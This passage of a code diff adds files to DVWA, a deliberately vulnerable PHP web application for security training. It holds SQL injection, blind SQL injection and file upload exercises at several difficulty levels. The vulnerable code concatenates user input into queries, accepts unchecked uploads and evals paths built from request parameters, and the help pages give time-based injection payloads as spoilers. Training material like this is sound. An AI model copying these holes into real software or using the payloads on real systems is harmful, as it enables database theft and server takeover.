+		$page[ 'body' ] .= "			" . tokenField();
+
+	$page[ 'body' ] .= "
+		</form>";
+}
+$page[ 'body' ] .= "
+		{$html}
+	</div>
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/SQL_Injection' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
+	</ul>
+</div>\n";
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/sqli/session-input.php

@@ -0,0 +1,32 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ] = 'SQL Injection Session Input' . $page[ 'title_separator' ].$page[ 'title' ];
+
+if( isset( $_POST[ 'id' ] ) ) {
+	$_SESSION[ 'id' ] =  $_POST[ 'id' ];
+	//$page[ 'body' ] .= "Session ID set!<br /><br /><br />";
+	$page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";
+	$page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
+}
+
+$page[ 'body' ] .= "
+<form action=\"#\" method=\"POST\">
+	<input type=\"text\" size=\"15\" name=\"id\">
+	<input type=\"submit\" name=\"Submit\" value=\"Submit\">
+</form>
+<hr />
+<br />
+
+<button onclick=\"self.close();\">Close</button>";
+
+dvwaSourceHtmlEcho( $page );
+
+?>
+
+

dvwa/vulnerabilities/sqli/source/high.php

@@ -0,0 +1,29 @@
+<?php
+
+if( isset( $_SESSION [ 'id' ] ) ) {
+	// Get input
+	$id = $_SESSION[ 'id' ];
+
+	// Check database
+	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
+	$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
+
+	// Get results
+	$num = mysql_numrows( $result );
+	$i   = 0;
+	while( $i < $num ) {
+		// Get values
+		$first = mysql_result( $result, $i, "first_name" );
+		$last  = mysql_result( $result, $i, "last_name" );
+
+		// Feedback for end user
+		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
+
+		// Increase loop count
+		$i++;
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/sqli/source/impossible.php

@@ -0,0 +1,33 @@
+<?php
+
+if( isset( $_GET[ 'Submit' ] ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Get input
+	$id = $_GET[ 'id' ];
+
+	// Was a number entered?
+	if(is_numeric( $id )) {
+		// Check the database
+		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
+		$data->bindParam( ':id', $id, PDO::PARAM_INT );
+		$data->execute();
+		$row = $data->fetch();
+
+		// Make sure only 1 result is returned
+		if( $data->rowCount() == 1 ) {
+			// Get values
+			$first = $row[ 'first_name' ];
+			$last  = $row[ 'last_name' ];
+
+			// Feedback for end user
+			$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
+		}
+	}
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/sqli/source/low.php

@@ -0,0 +1,29 @@
+<?php
+
+if( isset( $_REQUEST[ 'Submit' ] ) ) {
+	// Get input
+	$id = $_REQUEST[ 'id' ];
+
+	// Check database
+	$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
+	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+	// Get results
+	$num = mysql_numrows( $result );
+	$i   = 0;
+	while( $i < $num ) {
+		// Get values
+		$first = mysql_result( $result, $i, "first_name" );
+		$last  = mysql_result( $result, $i, "last_name" );
+
+		// Feedback for end user
+		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
+
+		// Increase loop count
+		$i++;
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/sqli/source/medium.php

@@ -0,0 +1,30 @@
+<?php
+
+if( isset( $_POST[ 'Submit' ] ) ) {
+	// Get input
+	$id = $_POST[ 'id' ];
+	$id = mysql_real_escape_string( $id );
+
+	// Check database
+	$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
+	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+	// Get results
+	$num = mysql_numrows( $result );
+	$i   = 0;
+	while( $i < $num ) {
+		// Display values
+		$first = mysql_result( $result, $i, "first_name" );
+		$last  = mysql_result( $result, $i, "last_name" );
+
+		// Feedback for end user
+		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
+
+		// Increase loop count
+		$i++;
+	}
+
+	//mysql_close();
+}
+
+?>

dvwa/vulnerabilities/sqli_blind/cookie-input.php

@@ -0,0 +1,31 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ] = 'Blind SQL Injection Cookie Input' . $page[ 'title_separator' ].$page[ 'title' ];
+
+if( isset( $_POST[ 'id' ] ) ) {
+	setcookie( 'id', $_POST[ 'id' ]);
+	$page[ 'body' ] .= "Cookie ID set!<br /><br /><br />";
+	$page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
+}
+
+$page[ 'body' ] .= "
+<form action=\"#\" method=\"POST\">
+	<input type=\"text\" size=\"15\" name=\"id\">
+	<input type=\"submit\" name=\"Submit\" value=\"Submit\">
+</form>
+<hr />
+<br />
+
+<button onclick=\"self.close();\">Close</button>";
+
+dvwaSourceHtmlEcho( $page );
+
+?>
+
+

dvwa/vulnerabilities/sqli_blind/help/help.php

@@ -0,0 +1,62 @@
+<div class="body_padded">
+	<h1>Help - SQL Injection (Blind)</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<h3>About</h3>
+		<p>When an attacker executes SQL injection attacks, sometimes the server responds with error messages from the database server complaining that the SQL query's syntax is incorrect.
+			Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message,
+			they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible.
+			An attacker can still steal data by asking a series of True and False questions through SQL statements, and monitoring how the web application response
+			(valid entry retunred or 404 header set).</p>
+
+		<p>"time based" injection method is often used when there is no visible feedback in how the page different in its response (hence its a blind attack).
+		 	This means the attacker will wait to see how long the page takes to response back. If it takes longer than normal, their query was successful.</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>Find the version of the SQL database software through a blind SQL attack.</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able
+			to execute any SQL query they wish.</p>
+		<pre>Spoiler: <span class="spoiler">?id=1' AND sleep 5&Submit=Submit</span>.</pre>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>The medium level uses a form of SQL injection protection, with the function of
+			"<?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.mysql-real-escape-string.php', 'mysql_real_escape_string()' ); ?>".
+			However due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered.</p>
+
+		<p>The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.</p>
+		<pre>Spoiler: <span class="spoiler">?id=1 AND sleep 3&Submit=Submit</span>.</pre>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>This is very similar to the low level, however this time the attacker is inputting the value in a different manner.
+			The input values are being set on a different page, rather than a GET request.</p>
+		<pre>Spoiler: <span class="spoiler">ID: 1' AND sleep 10&Submit=Submit</span>.
+			Spoiler: <span class="spoiler">Should be able to cut out the middle man.</span>.</pre>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer,
+			and has distinguish which sections are code, and the rest is data.</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Blind_SQL_Injection' ); ?></p>
+</div>

dvwa/vulnerabilities/sqli_blind/index.php

@@ -0,0 +1,99 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ]   = 'Vulnerability: SQL Injection (Blind)' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'sqli_blind';
+$page[ 'help_button' ]   = 'sqli_blind';
+$page[ 'source_button' ] = 'sqli_blind';
+
+dvwaDatabaseConnect();
+
+$method            = 'GET';
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		$method = 'POST';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		break;
+}
+
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli_blind/source/{$vulnerabilityFile}";
+
+// Is PHP function magic_quotee enabled?
+$WarningHtml = '';
+if( ini_get( 'magic_quotes_gpc' ) == true ) {
+	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
+}
+// Is PHP function safe_mode enabled?
+if( ini_get( 'safe_mode' ) == true ) {
+	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
+}
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: SQL Injection (Blind)</h1>
+
+	{$WarningHtml}
+
+	<div class=\"vulnerable_code_area\">";
+if( $vulnerabilityFile == 'high.php' ) {
+	$page[ 'body' ] .= "Click <a href=\"#\" onClick=\"javascript:popUp('cookie-input.php');return false;\">here to change your ID</a>.";
+}
+else {
+	$page[ 'body' ] .= "
+		<form action=\"#\" method=\"{$method}\">
+			<p>
+				User ID:";
+	if( $vulnerabilityFile == 'medium.php' ) {
+		$page[ 'body' ] .= "\n				<select name=\"id\">";
+		$query  = "SELECT COUNT(*) FROM users;";
+		$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+		$num    = mysql_result( $result, 0 );
+		$i      = 0;
+		while( $i < $num ) { $i++; $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
+		$page[ 'body' ] .= "</select>";
+	}
+	else
+		$page[ 'body' ] .= "\n				<input type=\"text\" size=\"15\" name=\"id\">";
+
+	$page[ 'body' ] .= "\n				<input type=\"submit\" name=\"Submit\" value=\"Submit\">
+			</p>\n";
+
+	if( $vulnerabilityFile == 'impossible.php' )
+		$page[ 'body' ] .= "			" . tokenField();
+
+	$page[ 'body' ] .= "
+		</form>";
+}
+$page[ 'body' ] .= "
+		{$html}
+	</div>
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Blind_SQL_Injection' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
+	</ul>
+</div>\n";
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/sqli_blind/source/high.php

@@ -0,0 +1,33 @@
+<?php
+
+if( isset( $_COOKIE[ 'id' ] ) ) {
+	// Get input
+	$id = $_COOKIE[ 'id' ];
+
+	// Check database
+	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
+	$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
+
+	// Get results
+	$num = @mysql_numrows( $result ); // The '@' character suppresses errors
+	if( $num > 0 ) {
+		// Feedback for end user
+		$html .= '<pre>User ID exists in the database.</pre>';
+	}
+	else {
+		// Might sleep a random amount
+		if( rand( 0, 5 ) == 3 ) {
+			sleep( rand( 2, 4 ) );
+		}
+
+		// User wasn't found, so the page wasn't!
+		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
+
+		// Feedback for end user
+		$html .= '<pre>User ID is MISSING from the database.</pre>';
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/sqli_blind/source/impossible.php

@@ -0,0 +1,35 @@
+<?php
+
+if( isset( $_GET[ 'Submit' ] ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Get input
+	$id = $_GET[ 'id' ];
+
+	// Was a number entered?
+	if(is_numeric( $id )) {
+		// Check the database
+		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
+		$data->bindParam( ':id', $id, PDO::PARAM_INT );
+		$data->execute();
+
+		// Get results
+		if( $data->rowCount() == 1 ) {
+			// Feedback for end user
+			$html .= '<pre>User ID exists in the database.</pre>';
+		}
+		else {
+			// User wasn't found, so the page wasn't!
+			header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
+
+			// Feedback for end user
+			$html .= '<pre>User ID is MISSING from the database.</pre>';
+		}
+	}
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/sqli_blind/source/low.php

@@ -0,0 +1,28 @@
+<?php
+
+if( isset( $_GET[ 'Submit' ] ) ) {
+	// Get input
+	$id = $_GET[ 'id' ];
+
+	// Check database
+	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
+	$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
+
+	// Get results
+	$num = @mysql_numrows( $result ); // The '@' character suppresses errors
+	if( $num > 0 ) {
+		// Feedback for end user
+		$html .= '<pre>User ID exists in the database.</pre>';
+	}
+	else {
+		// User wasn't found, so the page wasn't!
+		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
+
+		// Feedback for end user
+		$html .= '<pre>User ID is MISSING from the database.</pre>';
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/sqli_blind/source/medium.php

@@ -0,0 +1,26 @@
+<?php
+
+if( isset( $_POST[ 'Submit' ]  ) ) {
+	// Get input
+	$id = $_POST[ 'id' ];
+	$id = mysql_real_escape_string( $id );
+
+	// Check database
+	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
+	$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
+
+	// Get results
+	$num = @mysql_numrows( $result ); // The '@' character suppresses errors
+	if( $num > 0 ) {
+		// Feedback for end user
+		$html .= '<pre>User ID exists in the database.</pre>';
+	}
+	else {
+		// Feedback for end user
+		$html .= '<pre>User ID is MISSING from the database.</pre>';
+	}
+
+	//mysql_close();
+}
+
+?>

dvwa/vulnerabilities/upload/help/help.php

@@ -0,0 +1,54 @@
+<div class="body_padded">
+	<h1>Help - File Upload</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<h3>About</h3>
+		<p>Uploaded files represent a significant risk to web applications. The first step in many attacks is to get some code to the system to be attacked.
+			Then the attacker only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.</p>
+
+		<p>The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system, forwarding attacks to backend systems,
+			and simple defacement. It depends on what the application does with the uploaded file, including where it is stored.</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>Execute any PHP function of your choosing on the target system (such as <?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.phpinfo.php', 'phpinfo()' ); ?>
+			or <?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.system.php', 'system()' ); ?>) thanks to this file upload vulnerability.</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>Low level will not check the contents of the file being uploaded in any way. It relies only on trust.</p>
+		<pre>Spoiler: <span class="spoiler">Upload any valid PHP file with command in it</span>.</pre>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>When using the medium level, it will check the reported file type from the client when its being uploaded.</p>
+		<pre>Spoiler: <span class="spoiler">Worth looking for any restrictions within any "hidden" form fields</span>.</pre>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>Once the file has been received from the client, the server will try to resize any image that was included in the request.</p>
+		<pre>Spoiler: <span class="spoiler">need to link in another vulnerability, such as file includion</span>.</pre>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>This will check everything from all the levels so far, as well then to re-encode the image. This will make a new image, therefor stripping
+			any "non-image" code (including metadata).</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Unrestricted_File_Upload' ); ?></p>
+</div>
+

dvwa/vulnerabilities/upload/index.php

@@ -0,0 +1,76 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ]   = 'Vulnerability: File Upload' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'upload';
+$page[ 'help_button' ]   = 'upload';
+$page[ 'source_button' ] = 'upload';
+
+dvwaDatabaseConnect();
+
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		break;
+}
+
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/upload/source/{$vulnerabilityFile}";
+
+// Check if folder is writeable
+$WarningHtml = '';
+if( is_writable( realpath( dirname( dirname( getcwd() ) ) ) . "/hackable/uploads/" ) == false ) {
+	$WarningHtml .= "<div class=\"warning\">Incorrect folder permissions: " . realpath( dirname( dirname( getcwd() ) ) ) . "/hackable/uploads/" . "<br /><em>Folder is not writable.</em></div>";
+}
+// Is PHP-GD installed?
+if( ( !extension_loaded( 'gd' ) || !function_exists( 'gd_info' ) ) ) {
+	$WarningHtml .= "<div class=\"warning\">The PHP module <em>PHP-GD is not installed</em>.</div>";
+}
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: File Upload</h1>
+
+	{$WarningHtml}
+
+	<div class=\"vulnerable_code_area\">
+		<form enctype=\"multipart/form-data\" action=\"#\" method=\"POST\" />
+			<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000\" />
+			Choose an image to upload:<br /><br />
+			<input name=\"uploaded\" type=\"file\" /><br />
+			<br />
+			<input type=\"submit\" name=\"Upload\" value=\"Upload\" />\n";
+
+if( $vulnerabilityFile == 'impossible.php' )
+	$page[ 'body' ] .= "			" . tokenField();
+
+$page[ 'body' ] .= "
+		</form>
+		{$html}
+	</div>
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Unrestricted_File_Upload' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://blogs.securiteam.com/index.php/archives/1268' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/websitesecurity/upload-forms-threat/' ) . "</li>
+	</ul>
+</div>";
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/upload/source/high.php

@@ -0,0 +1,35 @@
+<?php
+
+if( isset( $_POST[ 'Upload' ] ) ) {
+	// Where are we going to be writing to?
+	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
+	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
+
+	// File information
+	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
+	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
+	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
+	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
+
+	// Is it an image?
+	if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
+		( $uploaded_size < 100000 ) &&
+		getimagesize( $uploaded_tmp ) ) {
+
+		// Can we move the file to the upload folder?
+		if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
+			// No
+			$html .= '<pre>Your image was not uploaded.</pre>';
+		}
+		else {
+			// Yes!
+			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
+		}
+	}
+	else {
+		// Invalid file
+		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
+	}
+}
+
+?>

dvwa/vulnerabilities/upload/source/impossible.php

@@ -0,0 +1,62 @@
+<?php
+
+if( isset( $_POST[ 'Upload' ] ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+
+	// File information
+	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
+	$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
+	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
+	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
+	$uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
+
+	// Where are we going to be writing to?
+	$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
+	//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
+	$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
+	$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
+	$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
+
+	// Is it an image?
+	if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
+		( $uploaded_size < 100000 ) &&
+		( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
+		getimagesize( $uploaded_tmp ) ) {
+
+		// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
+		if( $uploaded_type == 'image/jpeg' ) {
+			$img = imagecreatefromjpeg( $uploaded_tmp );
+			imagejpeg( $img, $temp_file, 100);
+		}
+		else {
+			$img = imagecreatefrompng( $uploaded_tmp );
+			imagepng( $img, $temp_file, 9);
+		}
+		imagedestroy( $img );
+
+		// Can we move the file to the web root from the temp folder?
+		if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
+			// Yes!
+			$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
+		}
+		else {
+			// No
+			$html .= '<pre>Your image was not uploaded.</pre>';
+		}
+
+		// Delete any temp files
+		if( file_exists( $temp_file ) )
+			unlink( $temp_file );
+	}
+	else {
+		// Invalid file
+		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
+	}
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/upload/source/low.php

@@ -0,0 +1,19 @@
+<?php
+
+if( isset( $_POST[ 'Upload' ] ) ) {
+	// Where are we going to be writing to?
+	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
+	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
+
+	// Can we move the file to the upload folder?
+	if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
+		// No
+		$html .= '<pre>Your image was not uploaded.</pre>';
+	}
+	else {
+		// Yes!
+		$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
+	}
+}
+
+?>

dvwa/vulnerabilities/upload/source/medium.php

@@ -0,0 +1,33 @@
+<?php
+
+if( isset( $_POST[ 'Upload' ] ) ) {
+	// Where are we going to be writing to?
+	$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
+	$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
+
+	// File information
+	$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
+	$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
+	$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
+
+	// Is it an image?
+	if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
+		( $uploaded_size < 100000 ) ) {
+
+		// Can we move the file to the upload folder?
+		if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
+			// No
+			$html .= '<pre>Your image was not uploaded.</pre>';
+		}
+		else {
+			// Yes!
+			$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
+		}
+	}
+	else {
+		// Invalid file
+		$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
+	}
+}
+
+?>

dvwa/vulnerabilities/view_help.php

@@ -0,0 +1,26 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ] = 'Help' . $page[ 'title_separator' ].$page[ 'title' ];
+
+$id       = $_GET[ 'id' ];
+$security = $_GET[ 'security' ];
+
+ob_start();
+eval( '?>' . file_get_contents( DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/{$id}/help/help.php" ) . '<?php ' );
+$help = ob_get_contents();
+ob_end_clean();
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	{$help}
+</div>\n";
+
+dvwaHelpHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/view_source.php

@@ -0,0 +1,69 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ] .= 'Source' . $page[ 'title_separator' ].$page[ 'title' ];
+
+$id       = $_GET[ 'id' ];
+$security = $_GET[ 'security' ];
+
+
+if( $id == 'fi' ) {
+	$vuln = 'File Inclusion';
+}
+elseif( $id == 'brute' ) {
+	$vuln = 'Brute Force';
+}
+elseif( $id == 'csrf' ) {
+	$vuln = 'CSRF';
+}
+elseif( $id == 'exec' ) {
+	$vuln = 'Command Injection';
+}
+elseif( $id == 'sqli' ) {
+	$vuln = 'SQL Injection';
+}
+elseif( $id == 'sqli_blind' ) {
+	$vuln = 'SQL Injection (Blind)';
+}
+elseif( $id == 'upload' ) {
+	$vuln = 'File Upload';
+}
+elseif( $id == 'xss_r' ) {
+	$vuln = 'XSS (Reflected)';
+}
+elseif( $id == 'captcha' ) {
+	$vuln = 'Insecure CAPTCHA';
+}
+else {
+	$vuln = 'XSS (Stored)';
+}
+
+$source = @file_get_contents( DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/{$id}/source/{$security}.php" );
+$source = str_replace( array( '$html .=' ), array( 'echo' ), $source );
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>{$vuln} Source</h1>
+
+	<div id=\"code\">
+		<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">
+			<tr>
+				<td><div id=\"code\">" . highlight_string( $source, true ) . "</div></td>
+			</tr>
+		</table>
+	</div>
+	<br /> <br />
+
+	<form>
+		<input type=\"button\" value=\"Compare All Levels\" onclick=\"window.location.href='view_source_all.php?id=$id'\">
+	</form>
+</div>\n";
+
